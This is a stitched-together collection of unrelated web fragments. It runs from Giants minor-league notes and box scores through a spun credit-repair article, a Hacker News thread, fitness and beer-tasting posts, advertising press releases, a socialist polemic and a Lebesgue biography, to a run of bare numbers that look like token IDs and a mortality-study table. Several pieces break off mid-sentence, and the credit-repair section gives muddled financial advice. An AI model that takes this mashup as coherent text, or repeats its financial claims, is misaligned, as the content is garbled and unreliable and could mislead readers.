Seth Rosin, originally drafted by the Giants in the 4th round of 2010, signed with the Giants on July 5th, and headed to Richmond. Rosin has made 4 appearances in the Majors, with Texas and Philadelphia, with a 12.00 ERA. He does have a 3.93 ERA in the minors across 8 minor league seasons. Most recently, he spent most of 2016 on the DL, posting a 8.31 ERA in 5 relief appearances. He’s been a reliever since the 2014 season.
Rosin departed the Giants as part of the Hunter Pence trade in July of 2012. After that, his career path makes Crash Davis’s look steady. In 2013, the Mets selected Rosin in the Rule 5 draft. The same day, the Mets traded Rosin to the Dodgers for cash. The Dodgers waived Rosin in the spring of 2014, and was picked up by the Rangers, but was waived two weeks later and was returned to Philadelphia (Remember, even if waived or traded, a Rule 5 drafted player must stick on an active 25-man roster all season or be returned to his previous team). Rosin stuck with the Phillies for 2 more years. After 2015, Rosin went to the Padres in free agency, and then he joined the Twins in the offseason after 2016. He was waived after Spring Training, and went unsigned until signing with the Giants.
*sigh* That is a lot of teams, a lot of movement.
Rosin has a low-90’s fastball, whose calling card was his sinker. He does have a four-seamer that has hit the higher 90’s in the past, but he hasn’t shown that as much recently. A lot of his development in the past has depended on his development of secondary pitches, a slider and changeup. While I can’t find any first-hand reports in the last few years, I’m guessing he hasn’t solidified it yet. However, he’s had good control for most of his career.
Rosin, now 28, is likely here to fill out innings where the Giants need it in the system. But then again, a groundball specialist and a major league bullpen that has had a lot of struggles…it’s not impossible Rosin gets a shot with his original franchise. Just highly unlikely.
Rosin, in his first appearance this year, gave up a ground rule double that blew a save in the 7th inning in Friday’s game.
Released!
A couple of names got released from the Giants organization. OF Christoph Bono and C Rene Melendez, most recently playing with Salem-Keizer, got released as many 2017 draftees have joined the team.
Also, catcher Ryan Matranga retired. The 36th round pick from 2016 only played 5 games last season, and none this year.
Hitter of the Week - Jacob Gonzalez
There’s nothing like coming out of the draft being called a significant overdraft and being red hot.
2017 2nd round pick Jacob Gonzalez has been blisteringly hot to start his pro career in the Arizona Rookie League. This week, he’s gone 11-for-20 with 3 doubles and a triple. Although he hasn’t walked, a couple of HBPs give him a .550/.590/.800 line.
There isn’t much more to say for Jacob so far in his young career, as he has only played in two other games. But it’s notable that some of the draft analyzers indicated that they didn’t like the Giants’ draft, and notably called out the second round pick as being over-drafted. The Giants wouldn’t be the Giants if they didn’t have at least one such player being accused of that. A week and a half isn’t going to disprove anyone…but it’s got to taste pretty sweet.
Pitcher of the Week - Jose Flores
Jose Flores proved worthy of a promotion to Sacramento in just one start.
Flores went 7 shutout innings on July 4th, allowing just a hit and a walk while striking out a season-high 10. The 28-year old started the season as a reliever with Richmond before getting called to start in late May. He put up a 2.09 ERA with Richmond, with a 2.43 ERA in 7 starts.
Flores was signed as a free agent in the offseason, after putting up a 4.54 ERA as a reliever in the Mexican League last year. He hasn’t been a regular starter since his first pro season, back in 2007 with the Indians in the DSL. He’s got a career 3.71 ERA, and going down with his performance this year.
Saturday’s Lines
Saturday’s Boxes 1 AAA - Game 1 R H E AAA - Game 2 R H E AA R H E High-A R H E AAA - Game 1 R H E AAA - Game 2 R H E AA R H E High-A R H E Tacoma 3 7 1 Tacoma 0 3 1 Richmond 11 14 0 Modesto 1 8 1 Sacramento 6 14 2 Sacramento 3 8 0 Bowie 7 11 0 San Jose 0 6 1
More of Saturday’s Boxes.csv Low-A R H E Short-A R H E DSL R H E Low-A R H E Short-A R H E DSL R H E Asheville 8 14 0 Salem-Keizer 10 18 1 DSL Giants 5 8 1 Augusta 2 5 3 Everett 8 9 3 DSL Blue Jays 6 7 1
Saturday’s Hitters TEAM Player Pos AB R H 2B 3B HR RBI BB SO AVG TEAM Player Pos AB R H 2B 3B HR RBI BB SO AVG SAC-1 Juniel Querecuto SS 3 1 2 0 0 0 0 0 1 0.667 SAC-1 2- Juan Ciriaco PR-3B 3 1 2 1 0 0 0 0 1 0.667 SAC-1 Justin Ruggiano CF 4 1 1 0 0 1 3 0 1 0.250 SAC-1 a- Chris Shaw PH-LF 4 2 3 0 0 1 1 0 1 0.750 SAC-1 Ryan Lollis 1B 4 1 2 2 0 0 1 0 0 0.500 SAC-1 Orlando Calixte RF 4 0 1 0 0 0 1 0 0 0.250 SAC-2 Chris Shaw LF 3 0 1 0 0 0 0 0 1 0.307 SAC-2 T.J. Bennett 2B 2 1 1 0 0 1 1 1 1 0.143 RIC C.J Hinojosa SS 3 2 2 1 0 1 1 1 0 0.298 RIC K.C. Hobson 1B 4 2 2 0 0 1 1 1 1 0.250 RIC Brandon Bednar 3B 5 2 3 1 0 0 2 0 0 0.264 RIC Dylan Davis DH 4 1 3 0 0 1 5 0 1 0.230 SJ Ryan Howard SS 4 0 1 0 0 0 0 0 0 0.323 SJ Gio Brusa LF 2 0 1 0 0 0 0 1 0 0.246 AUG Jean Angomas RF 4 1 1 0 0 0 0 |
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] |
The first step to repairing your ailing credit is to create a manageable, feasible financial plan. You have to stay focused and committed if you want to make concrete changes to your financial situation. Only buy what you absolutely need. Ask yourself if a certain purchase is both necessary and affordable. Buy the item if your answer to this question is “yes”.
If your credit is top-notch, getting a mortgage is a simple matter. Paying down your mortgage improves your score as well. Owning a home shows financial stability, which is great for your credit. This will also be useful in the event that you end up needing to borrow funds.
Installment Account
Try an installment account to get a better credit score and make some money. With this sort of an account, you need to keep a minimum. You will improve your credit score by properly managing an installment account.
By opening an installment account, it could help improve credit score and you could have a decent living. Open an installment account that you can pay for and make sure to keep an affordable monthly minimum on it. Your FICO score will rise over time, if you responsibly manage this type of account.
Begin paying your bills to repair your credit. You should always make an effort to pay your bills on time and in full. Once you start paying your past bills off, you will notice an immediate improvement in your credit.
Before using a credit counselor, it’s important to research them completely. While some counselors are legitimate, offering genuinely helpful services, others have ulterior motives. Some are not legitimate. Intelligent customers will make sure to determine the legitimacy of a credit counseling agency before acquiring their services.
One of the first steps of improving your credit score is ensuring that your bills are always paid. Even more important than just paying your bills, is to pay off the entire balance, and pay them on time. You will notice how quickly your credit score increases when you start paying off those overdue bills.
Credit Unions
Joining a credit union may be a way to boost your credit score when you are having a hard time getting credit. Credit unions typically offer a wider variety of credit options at better interest rates than a traditional bank. Credit unions are usually non-profit, which means better deals for you.
Examine your credit card charges monthly to ensure they are correct. Whenever you see any, it will be necessary to discuss the situation with your creditor so that they do not submit negative information to the credit agencies.
Working closely with the credit card companies can ensure proper credit restoration. If you do this you’ll find that your debt doesn’t increase and your credit is improved. Don’t be afraid to ask for alterations in interest rates or dates of payment.
Don’t put off until tomorrow what you can do today, especially now that you are armed with the necessary tools to put a plan into motion. Before your low credit score begins to adversely affect your life, use the information from this article to gradually increase your overall credit rating.Perella
Perella is a surname and may refer to:
Joseph R. Perella (born 1941), Italian-American financier
Marco Perella (born 1949), American actor and author
See also
Perella Weinberg Partners, financial services firm established in 2006
Wasserstein Perella & Co., investment bank established in 1988
Ask HN: Feedback on ToutPourMoniPad.com (ipad case finder for the french market) - thibaut_barrere
http://www.toutpourmonipad.com/
======
thibaut_barrere
Feedback (even graphical - sorry it's in french) is most welcome!
<http://www.toutpourmonipad.com>
A couple of months ago I was looking for an iPad case. I found a lot of french
sites selling those, but not a single easily searchable place (eg: max budget,
material...).
I found (thanks to HN) <http://ipadcasefinder.com/>, but the shipping costs of
most sellers to France made the purchase not worth it.
So I decided to build something for the french market!
Technically, it's an ETL (extract/transform/load) back-end that stores in
MongoHQ, the front-end is based on Heroku, Sinatra, jQuery etc.
It's just a V1, a lot of changes are planned (search by "use case", for
instance).
~~~
lachyg
The site is very close to my site, I guess it's not too close though. Some
other guy copied the WHOLE site. I hope it works out for you. WordPress?
What's your sidebar plugin?
Good luck, it's a tough market.
~~~
thibaut_barrere
Thanks for the comment! Well I wouldn't have started it if the shipping costs
were low. There was an obvious gap here (picking partners that ship to
france), which I filled. I definitely agree the idea is useful and interesting
(given the feedback I got).
The site is making pocket money more or less (very far from your figures), and
the market is _very_ tough, filled by niche blogs here in France. It was very
interesting to make and I learnt a lot in the process, though!
It's not a WordPress - it's a custom application I developed wholly from
scratch myself using Sinatra, MongoDB, Ruby (the back-end, the views,
javascript/css etc), and which is heavily customizable (this is already the
fourth revision of the site).
This made the ability to filter by manually entered prices a lot easier to
implement, for instance.
I plan to do regular updates on this and let it grow slowly, see where it
goes.
------
jeb
What's with the iPad Case Finder startups? Is it some hot new market or what?
------
DotSauce
iPad is a trademarked term and you are running the risk of legal issues with
Apple. You may want to think of an alternative domain name.
~~~
thibaut_barrere
I hope that won't happen. I'll think about alternate domain names in case it
does. Thanks for the advice.
A-Z of Fitness – U for Upper Body
I get asked a lot similar questions, so over the next month both on my Instagram (@fitchicnic) and on here, I’ll be going through the alphabet talking about some of the most common health and fitness related questions and topics.
🌀 U is for Upper Body.
Many women feel like their upper bodies are weaker than their lower body. Ladies, it’s just practice and understanding the different exercises that make up a decent full upper body workout.
🔸 Back – lots of rows! (Bent over, single arm, seated etc) Lat pulldowns and assisted pullups are also my go-to exercises.
🔸 Shoulders – shoulder presses, lateral raises, high face pulls, rear delt flyes. All very good for strengthening and shaping the shoulders so they have that “capped” look.
🔸 Chest – although not really needed to be trained aesthetically for women (your boobs are body fat not muscle I’m afraid!) training your chest muscles (press ups, any kind of pushing action) will benefit your general strength.
🔸 Biceps and triceps – it’s good to isolate them occasionally with bicep curls, Tricep pushdowns, Tricep dips etc, but working on your bigger back and chest exercises will also help them indirectly.Main menu
Post navigation
I have been feverishly writing tasting notes of late. Nearly every new beer I drink gets the full treatment. Slips of paper with hastily written, barely legible scribbles litter my house. Sometimes I get around to typing them up. I’ve got them, so I figure I should do something with them. And as I have been ignoring this blog for some time, this seemed a good place to put them. And so I offer you a bunch of IPAs to start.
Flavor: Malt hop in good balance with favor to hops. Hop bitterness is high to medium-high. Sharp and spicy. Hop flavor is high – spicy, grapefruit pith, resinous. Same electrical fire phenolic from aroma. Finish is off dry with lingering bitterness and low caramel/toast malt. Malt is caramel and bread crust with low sweetness.
Mouthfeel: Medium body. Medium carbonation. Medium-low astringency.
Overall Impression: Needed to be consumed sooner as that electrical fire phenol is obtrusive. Not yet undrinkable.
Overall Impression: Hops and spruce blend seamlessly in a fruity extravaganza. Pine tar in the finish is on the edge of off-putting. As it is, it adds a sense of bitterness in an IPA with otherwise relatively low bitterness.
Aroma: Citrus and tropical fruit leads – juicy mangos and pineapple. With a long sniff, coffee emerges to take its place. The two battle for the top spot. Medium sweetness. Stone fruit. Low, grainy-sweet malt. Medium fruity esters.
Overall Impression: What an interesting beer. It could have been a train wreck. Instead it’s like eating chocolate covered fruit while sipping coffee. No element over |
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] | of Jake & Dinos Chapman, WARP films and Jonathan Glazer, has recently finished a series of twenty short films for Channel 4, is creative consultant for fashion house PREEN, and presently spearheads PRETTYBIRD’s UK division.
Marshmallow Laser Feast commented: “With this project, our aim was to create ethereal sculptures of light and sound. We're always excited by the prospect of appropriating new technologies and further developing them for artistic purposes. By customizing Quadrotors with LEDs and mirrors, and combining them with lights and other custom technology, we were able to choreograph the performance, pushing the experience to that of watching an abstract virtuoso-being made of light, playing an imaginary musical instrument.”
Daniel Mellinger of KMel Robotics said: "KMel Robotics focuses on hardware design and highperformance control for custom aerial vehicles which push the limits of experimental robotics. Our vehicles can be used in a wide range of applications including search and rescue, environmental monitoring, education, and entertainment. Our experiments illustrate that large numbers of autonomously functioning vehicles can be reliably deployed in the form of a ‘swarm’ to carry out tasks and to respond as a group to high-level commands, without a designated leader."
The Showcase will be webcast on the Cannes Lions website and on the NDS Channel on YouTube.
]]>2012-07-05 00:00:00James Brown - A Music Video Challenge presented by Saatchi & Saatchi, in association with Genero.tv and BUG - now open for entries.http://www.adforum.com/agency/15104/press-releases/3764/james-brown-a-music-video-challenge-presented-by-saatchi-saatchi-in-association-with-genero-tv-and-bug-now-open-for-entries
http://www.adforum.com/agency/15104/press-releases/3764/james-brown-a-music-video-challenge-presented-by-saatchi-saatchi-in-association-with-genero-tv-and-bug-now-open-for-entriesIn an unprecedented collaboration between Saatchi & Saatchi, Genero.tv, BUG Music Videos and Universal Music Enterprises (UMe), the music of James Brown will be brought to the attention of a whole new generation through the art of filmmaking.
Saatchi & Saatchi is throwing down the gauntlet to the international filmmaking community by creating a challenge to bring to life some of the most significant tracks of the ‘Godfather of Soul’ in the form of a music video: Sex Machine, Papa’s Got a Brand New Bag, It’s a Man’s, Man’s, Man’s World, and Try Me. Following the success of last year’s Moby competition, Saatchi & Saatchi wanted to bring a new twist to this year’s competition by working with a legendary artist who has influenced and crossed many generations.
James Brown changed the course of popular music, and UMe and the James Brown Estate are making some of his finest work available for the first time for interpretation by a new generation of film directors. Other than live footage, none of the songs featured in the Music Video Challenge has a music video, so this is a great opportunity for young filmmakers to become the director of the official promo for one of these tracks. On June 1st, UMe will release 20 James Brown albums digitally for the first time. These classic releases are from his back catalogue from the ‘50s, ‘60s and ‘70s, many of which have been long out of print.
The Grand Prize offered to the winning film director is to work on a project in a key office in the Saatchi & Saatchi global network. Entrants will be given the chance to revisit James Brown’s archive, and interpret it with fresh eyes. Deadline for entries is June 25th, 2012, 23:59 GMT. In addition, UMe is looking for official videos for each of the songs.
The judging panel responsible for selecting the finalists and overall winner will consist of members of the Saatchi & Saatchi Worldwide Creative Board, Genero.tv, BUG and UMe. Also, directors selected for this year’s Saatchi & Saatchi New Directors’ Showcase will be invited on to the judging panel to help select the winner. The 12 finalists will be revealed mid-July and the winner announced on the Genero.tv competition page on July 30th, 2012.
Alongside the digital re-release, the record label will also be re-releasing the classic James Brown Live at the Apollo album this year. Significantly, the album was recorded half a century ago, on October 24th, 1962, at the Apollo Theater in Harlem. In 2003, Rolling Stone ranked it as number 24 on their list of the Top 500 Greatest Albums of All Time. In celebration of the album, one of the four tracks available for interpretation by entrants to the Music Video Challenge will be Try Me, one of its featured tracks.
Bruce Resnikoff, President/CEO of UMe said: “This competition will introduce a new generation of fans to the groundbreaking music of James Brown’s catalogue, and landmark 1962 album Live at the Apollo, and what better way to do this than by working with Saatchi & Saatchi’s global network, utilizing BUG’s expertise in the art of the music video, and accessing the filmmaking community through Genero.tv.”
For the first time Saatchi & Saatchi will work with Genero.tv, who are based in Melbourne, Australia, and have more than 65,000 members spanning over 180 countries. Andrew Lane, Co-founder, Genero.tv commented: "We are very excited to offer our community such an incredible opportunity. Being able to work with iconic songs from the legendary James Brown, and to be offering an amazing prize from Saatchi & Saatchi makes this a not-to-be-missed challenge for our filmmaking community."
The winner of last year’s Music Video Challenge was Mexican Vancouver Film School graduate Alberto Gomez, whose prize was to travel to Los Angeles and direct a spot for Conill’s Miami Short Film Festival campaign. In addition, each finalist’s video was featured on Moby’s Destroyed Deluxe DVD. Saatchi & Saatchi’s aim again this year is to provide a platform for the most talented young directors to interpret the work of an iconic musician, and provide them with a global stage for their filmmaking talents.
This year the Music Video Challenge will have an even more international flavour, with the production team hailing from all over the world; UMe in LA; Saatchi & Saatchi in London and NYC; Genero.tv in Australia; and BUG in London. Add to this the phenomenal reach and influence of James Brown, with his international fan base and rich contribution to the tapestry of musical history, and you have a dream brief.
Tom Eslinger, Saatchi & Saatchi Worldwide Digital Creative Director, commented: "This is the third year that we’ve held a competition to find a truly new director. Having access to music from James Brown, one of the most influential performers of the 20th century, is inspiring for us and anyone who enters. Being part of creating the first music videos through a socially-powered platform like Genero is an honour.”
David Knight, BUG Creative Director added: “BUG is all about giving exposure to the most innovative and awe-inspiring new work in music videos. Our subheading is The Evolution of Music Video – and aspiring filmmakers are no longer limited to making new videos just for new music. They can be inspired by classic tracks too, and this Music Video Challenge is giving them the chance to prove it.”
For more information on the Music Video Challenge, including eligibility and how to enter go to: http://genero.tv/jamesbrown
]]>2012-05-17 00:00:00Winner and Finalists of Saatchi & Saatchi, Vimeo and BUG Music Video Challenge featured on Moby's 'Destroyed Deluxe' albumhttp://www.adforum.com/agency/15104/press-releases/702/winner-and-finalists-of-saatchi-saatchi-vimeo-and-bug-music-video-challenge-featured-on-mobys-destroyed-deluxe-album
http://www.adforum.com/agency/15104/press-releases/702/winner-and-finalists-of-saatchi-saatchi-vimeo-and-bug-music-video-challenge-featured-on-mobys-destroyed-deluxe-albumMoby is set to release Destroyed Deluxe on October 31st - a deluxe version of his latest album Destroyed. Since its release earlier this year, Destroyed has received four-star reviews in MOJO, Uncut and Record Collector. The new deluxe edition of Destroyed consists of a 3-disc set that includes unreleased tracks, live footage and videos.
The supporting music videos for both ‘After’ and ‘The Right Thing’ are from new directors who entered the Saatchi & Saatchi ‘Hello, Future’ Music Video Challenge this summer. As part of the 21st New Directors’ Showcase, Sa |
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32
] | what you call progress, this incessant hustle-bustle, this rapid tiring and neurasthenic, short-breathed chase after novelty, after anything new as long as it is new, this progress and the crazy ideas of the practitioners of development associated with it and the maniacal habit of saying good-bye immediately on arrival, this progress, this unsteady, restless haste, this inability to remain still and this perpetual desire to be on the move, this so-called progress is a symptom of our abnormal conditions, our unculture. We need something quite different from the symptoms of our depravity, in order to escape from it — there were and are, I say, times and peoples of prosperous life, times of tradition, epic times, of agriculture and rural craftsmanship, without much outstanding art, without much written science. Times that are less splendid and raise fewer monuments and gravestones to themselves than those great periods that are so glorious because their heirs are already with them and spend their still wonderful youth with them: a time rather of long and broad life, that almost could be called comfortable. The self-conscious spirit with its magic, coercive power did not yet exist. It was not yet in process of separating and spreading like a gospel throughout the world, subjecting the souls of men to its spell. There were such times too; and there are such peoples; and such times will return.
In such times the spirit seems hidden. Even with careful scrutiny one recognizes it almost only by its expression in the forms of social life and the economic institutions of the community.
Men have always returned to the very first, primitive beginnings, the first stages of these times when they had saved themselves from yet earlier times of decline, spiritlessness, tyranny, exploitation, and governmental power, often with the help of nations that, in this state of fertile stillness, moved slowly across the earth to new places and entered them, youthful and healthy, from out of unknown distance and obscurity. Thus the Romans and the Greeks of the late Imperial period were plunged into this rejuvenating bath and again became primitive children, ripe for the new spirit which came over them simultaneously from the East. There is, for the empathetic observer of mankind, in its eternal decline and eternal re-becoming, hardly anything more touching, more tormenting and at the same time arousing almost childishly pious confidence, as the works of early Byzantine art, which could equally be called late Greek. Through what depravity and through what tremendous re-establishment, through what horrors and what psychic distress generations passed in the transition from the stylish, elegant formalism and deadly coldness of virtuosity to this almost dreadfully sincere feeling, to this childish simplicity and inability to perceive corporeal reality correctly! The virtuosity of eye and hand would have been passed on from generation to generation in art and craft, if the soul had not spat it out as filth and bitter gall. What hopes, what deep consolations lie in so painful, yet refreshing a sight, for us and for all who can learn from it because they know: no progress, no technology, no virtuosity will bring us salvation and blessing. Only out of the spirit, only out of the depth of our inner need and inner richness will the great transformation which we call socialism come about.
But for us there is nothing so remote and unknown, no sudden surprise out of the darkness anywhere in the world. No analogy of the past can apply perfectly to us. The surface of the earth is known to us, we have our hand on it and our gaze sweeps around it. Peoples that were still separated from us by decades or millennia — the Japanese, the Chinese — are eagerly exchanging their static way of life for our progress, and their culture for our civilization. Other, smaller peoples of this state have been exterminated or depraved with our Christianity and alcohol. This time renewal must come from ourselves, although perhaps peoples of a new mixture, like the Americans, peoples of an older stage, like the Russians, the Indians, perhaps also the Chinese will help us most fruitfully in doing so.
The peoples who first climbed out of some state of depravity and escaped to the fabulous, epic times of a renewed intitial culture, of communism, were often for a long time not attracted by a new spirit in visible, tangible, expressive form. They did not have the splendor of an overpowering illusion holding them under its spell. But they had abandoned superstition, the pitiful, unrecognizable relic of former great periods. They sought only earthly happiness, and so their life began anew with the spirit of justice that permeated their institutions, their social life, their works and the distribution of goods. The spirit of justice as an earthly activity and creation of voluntary association, prior to a heavenly illusion that later would transfigure earthly activity into community and makes it, all the more, naturally cogent.
Am I, with these words, speaking of the barbarians of long past millenia? Am I speaking of the ancestors of the Arabs, Iroquois, Greenlanders?
I don’t know. We know so little of the changes and origins of these so-called barbaric peoples of former and present times. We have hardly any traditions and real evidence. We know only that the so-called primitive states of alleged barbarians or savages are not original in the sense of mankind beginning so, as many experts believe, who are educated beyond their mental capacity. We know of no such beginning. Even the cultures of the “barbarians” come from somewhere, have deep roots in humanity. Perhaps they descended from a barbarity like the one we are trying to escape.
For I am speaking of our own peoples; I am speaking of ourselves.
We are the people of the decline, whose pioneers have grown weary in the race for stupid power, for the shameful isolation and surrender of the individual. We are people of the descent where there is no longer a binding spirit but only the distorted relics, the nonsense of superstition, and its crude surrogate, the coercion of external power, the state. We are the people of the downfall and, therefore, of that type of downfall whose vanguard see no meaning that points beyond this earthly life, who can envisage no illusory heaven they could believe in and proclaim as sacred. We are the people that can stride upwards again only through one single spirit: the spirit of justice in the earthly matters of communal life. We are the people that can be saved and brought to culture only through socialism.
3
So our time stands between two ages. What does it look like?
A cohesive spirit — yes! yes! the word spirit does occur often in this book. Perhaps it happens because the men of our time, especially the so-called socialists, say “spirit” so seldom and act correspondingly. They do not act spiritually and so they do nothing real and practical; and how could they do anything real if they think so little! There is no cohesive spirit that impels men to spontaneously collaborate in matters of common interest, in the production and distribution of consumer goods. There is no spirit hovering above all work above every industrious impulse like the song of the lark out of the skies or the far-away song of invisible choruses, the spirit of art transfiguring earthly activity. There is no spirit that would impart necessity and freedom to natural drives, satisfactions, festivities. There is no spirit linking all life with eternity, sanctifying our senses, making all bodily functions heavenly, every activity a joy, a cause for exuberance and exhilaration.
What is there? God, who created the world; whose son redeems this world from sin... enough of that, of these misunderstood remnants of a symbolism that once made sense, remnants that are now taken literally and held up for belief down to the last dot and letter and miraculous tale, so that the so-called soul or even the body too can attain bliss after rotting in the grave. Enough of this. This spirit is an unspirit, has nothing to do with either truth or life. If anything is probably false, then it is these ideas as a whole.
And our scholars know it. If the people, a very large part of the people, are caught in the spirit of wrong and ruinous falsehood, then how many of our scholars are entangled in the spirit of deceit and cowardice.
And how many again, among the people and scholars, no longer are concerned with any spirit and think that there is nothing more superfluous than to bother with such things.
In school, children are educated in false teachings and their parents are forced to let their children’s thinking be distorted. A horrible gap is opened between the children of the poor, who are kept in the old religion by force, and children of the rich, who are provided with all sorts of semi-enlightenment and mild doubt. The children of the poor are supposed to stay stupid, docile, timid, while the children of the rich become semi-educated and frivolous.
How is work done in our time? Why is work done?
What is — work?
Only a few animal species know what we call work: bees, ants, termites and men. The fox in his lair and on the hunt, the bird in its nest and catching insects or seeking grains — they all must strive, in order to live, but they do not work. Work is technique; technique is a common spirit and forethought. There is no work without spirit, forethought and communality.
What does the spirit governing our work look like? What is our forethought like? |
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] |
Lebesgue married the sister of one of his fellow students, and he and his wife had two children, Suzanne and Jacques.
After publishing his thesis, Lebesgue was offered in 1902 a position at the University of Rennes, lecturing there until 1906, when he moved to the Faculty of Sciences of the University of Poitiers. In 1910 Lebesgue moved to the Sorbonne as a maître de conférences, being promoted to professor starting with 1919. In 1921 he left the Sorbonne to become professor of mathematics at the Collège de France, where he lectured and did research for the rest of his life. In 1922 he was elected a member of the Académie des Sciences. Henri Lebesgue died on 26 July 1941 in Paris.
Mathematical career
Lebesgue's first paper was published in 1898 and was titled "Sur l'approximation des fonctions". It dealt with Weierstrass' theorem on approximation to continuous functions by polynomials. Between March 1899 and April 1901 Lebesgue published six notes in Comptes Rendus. The first of these, unrelated to his development of Lebesgue integration, dealt with the extension of Baire's theorem to functions of two variables. The next five dealt with surfaces applicable to a plane, the area of skew polygons, surface integrals of minimum area with a given bound, and the final note gave the definition of Lebesgue integration for some function f(x). Lebesgue's great thesis, Intégrale, longueur, aire, with the full account of this work, appeared in the Annali di Matematica in 1902. The first chapter develops the theory of measure (see Borel measure). In the second chapter he defines the integral both geometrically and analytically. The next chapters expand the Comptes Rendus notes dealing with length, area and applicable surfaces. The final chapter deals mainly with Plateau's problem. This dissertation is considered to be one of the finest ever written by a mathematician.
His lectures from 1902 to 1903 were collected into a "Borel tract" Leçons sur l'intégration et la recherche des fonctions primitives. The problem of integration regarded as the search for a primitive function is the keynote of the book. Lebesgue presents the problem of integration in its historical context, addressing Augustin-Louis Cauchy, Peter Gustav Lejeune Dirichlet, and Bernhard Riemann. Lebesgue presents six conditions which it is desirable that the integral should satisfy, the last of which is "If the sequence fn(x) increases to the limit f(x), the integral of fn(x) tends to the integral of f(x)." Lebesgue shows that his conditions lead to the theory of measure and measurable functions and the analytical and geometrical definitions of the integral.
He turned next to trigonometric functions with his 1903 paper "Sur les séries trigonométriques". He presented three major theorems in this work: that a trigonometrical series
representing a bounded function is a Fourier series, that the nth Fourier coefficient tends to zero (the Riemann–Lebesgue lemma), and that a Fourier series is integrable term by term. In 1904-1905 Lebesgue lectured once again at the Collège de France, this time on trigonometrical series and he went on to publish his lectures in another of the "Borel tracts". In this tract he once again treats the subject in its historical context. He expounds on Fourier series, Cantor-Riemann theory, the Poisson integral and the Dirichlet problem.
In a 1910 paper, "Représentation trigonométrique approchée des fonctions satisfaisant a une condition de Lipschitz" deals with the Fourier series of functions satisfying a Lipschitz condition, with an evaluation of the order of magnitude of the remainder term. He also proves that the Riemann–Lebesgue lemma is a best possible result for continuous functions, and gives some treatment to Lebesgue constants.
Lebesgue once wrote, "Réduites à des théories générales, les mathématiques seraient une belle forme sans contenu." ("Reduced to general theories, mathematics would be a beautiful form without content.")
In measure-theoretic analysis and related branches of mathematics, the Lebesgue–Stieltjes integral generalizes Riemann–Stieltjes and Lebesgue integration, preserving the many advantages of the latter in a more general measure-theoretic framework.
During the course of his career, Lebesgue also made forays into the realms of complex analysis and topology. He also had a disagreement with Émile Borel about whose integral was more general. However, these minor forays pale in comparison to his contributions to real analysis; his contributions to this field had a tremendous impact on the shape of the field today and his methods have become an essential part of modern analysis. These have important practical implications for fundamental physics of which Lebesgue would have been completely unaware, as noted below.
Lebesgue's theory of integration
Integration is a mathematical operation that corresponds to the informal idea of finding the area under the graph of a function. The first theory of integration was developed by Archimedes in the 3rd century BC with his method of quadratures, but this could be applied only in limited circumstances with a high degree of geometric symmetry. In the 17th century, Isaac Newton and Gottfried Wilhelm Leibniz discovered the idea that integration was intrinsically linked to differentiation, the latter being a way of measuring how quickly a function changed at any given point on the graph. This surprising relationship between two major geometric operations in calculus, differentiation and integration, is now known as the Fundamental Theorem of Calculus. It has allowed mathematicians to calculate a broad class of integrals for the first time. However, unlike Archimedes' method, which was based on Euclidean geometry, mathematicians felt that Newton's and Leibniz's integral calculus did not have a rigorous foundation.
In the 19th century, Augustin Cauchy developed epsilon-delta limits, and Bernhard Riemann followed up on this by formalizing what is now called the Riemann integral. To define this integral, one fills the area under the graph with smaller and smaller rectangles and takes the limit of the sums of the areas of the rectangles at each stage. For some functions, however, the total area of these rectangles does not approach a single number. As such, they have no Riemann integral.
Lebesgue invented a new method of integration to solve this problem.
Instead of using the areas of rectangles, which put the focus on the domain of the function, Lebesgue looked at the codomain of the function for his fundamental unit of area.
Lebesgue's idea was to first define measure, for both sets and functions on those sets. He then proceeded to build the integral for what he called simple functions; measurable functions that take only finitely many values.
Then he defined it for more complicated functions as the least upper bound of all the integrals of simple functions smaller than the function in question.
Lebesgue integration has the property that every function defined over a bounded interval with a Riemann integral also has a Lebesgue integral, and for those functions the two integrals agree. Furthermore, every bounded function on a closed bounded interval has a Lebesgue integral and there are many functions with a Lebesgue integral that have no Riemann integral.
As part of the development of Lebesgue integration, Lebesgue invented the concept of measure, which extends the idea of length from intervals to a very large class of sets, called measurable sets (so, more precisely, simple functions are functions that take a finite number of values, and each value is taken on a measurable set).
Lebesgue's technique for turning a measure into an integral generalises easily to many other situations, leading to the modern field of measure theory.
The Lebesgue integral is deficient in one respect.
The Riemann integral generalises to the improper Riemann integral to measure functions whose domain of definition is not a closed interval.
The Lebesgue integral integrates many of these functions (always reproducing the same answer when it did), but not all of them.
For functions on the real line, the Henstock integral is an even more general notion of integral (based on Riemann's theory rather than Lebesgue's) that subsumes both Lebesgue integration and improper Riemann integration.
However, the Henstock integral depends on specific ordering features of the real line and so does not generalise to allow integration in more
general spaces (say, manifolds), while the Lebesgue integral extends to such spaces quite naturally.
See also
Blaschke–Lebesgue theorem
Dominated convergence theorem
Lebesgue covering dimension
Lebesgue's constants
Lebesgue's decomposition theorem
Lebesgue's density theorem
Lebesgue differentiation theorem
Fatou–Lebesgue theorem
Lebesgue's lemma
Lebesgue's number lemma
Lebesgue point
Lebesgue–Rokhlin probability space
Lebesgue spine
Lebesgue's universal covering problem
Walsh–Lebesgue theorem
References
External links
Henri Léon Lebesgue (28 juin 1875 [Rennes] - 26 juillet 1941 [Paris])
Category:1875 births
Category:1941 deaths
Category:People from Beauvais
Category:20th-century mathematicians
Category:French mathematicians
Category:Measure theorists
Category:Functional analysts
Category:Mathematical analysts
Category:École Normale Supérieure alumni
Category:Lycée Louis |
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24,
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740,
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14,
23,
4253,
39,
23,
94,
187,
187,
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8874,
42456,
273,
21698,
7480,
5593,
187,
187,
4527,
33900,
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19958,
665,
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12942,
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342,
32579,
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253,
13234,
985,
285,
2326,
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253,
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39,
21989,
2086,
13,
760,
9934,
313,
1235,
15,
24,
2673,
497,
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347,
32579,
2219,
2556,
281,
32639,
1934,
26786,
12730,
1186,
2188,
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2801,
14,
1542,
14,
7436,
1503,
4868,
11254,
432,
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3806,
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42459,
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187
] | wide estimate \[[@B11]\].
{#F2}
The U5DR was 2.0 (95% CI: 1.5-2.6) deaths per 10,000 child-days over the analysis period (73.0 deaths per 1,000 child-years). Trends in under-5 death rates were similar, though the November peak was more marked (Figure [3](#F3){ref-type="fig"}).
{#F3}
The majority of deaths (286/510 or 56.1%) occurred among males (Table [4](#T4){ref-type="table"}). About 40% of deaths were among children under 5; of these, one-third were neonatal and about half occurred in the first year of life.
######
Distribution of deaths by age group and gender
**Age** **Males** **Females** **Total**
-------------------- ----------- ------------- ----------- ----------- --------- -----------
**\<5 years** 111 38.8 100 44.6 211 41.4
\<1 month† 35 31.5 31 31.0 66 31.3
1 to 11 months† 29 26.1 17 17.0 46 21.8
1 to 4 years† 47 42.3 52 52.0 99 46.9
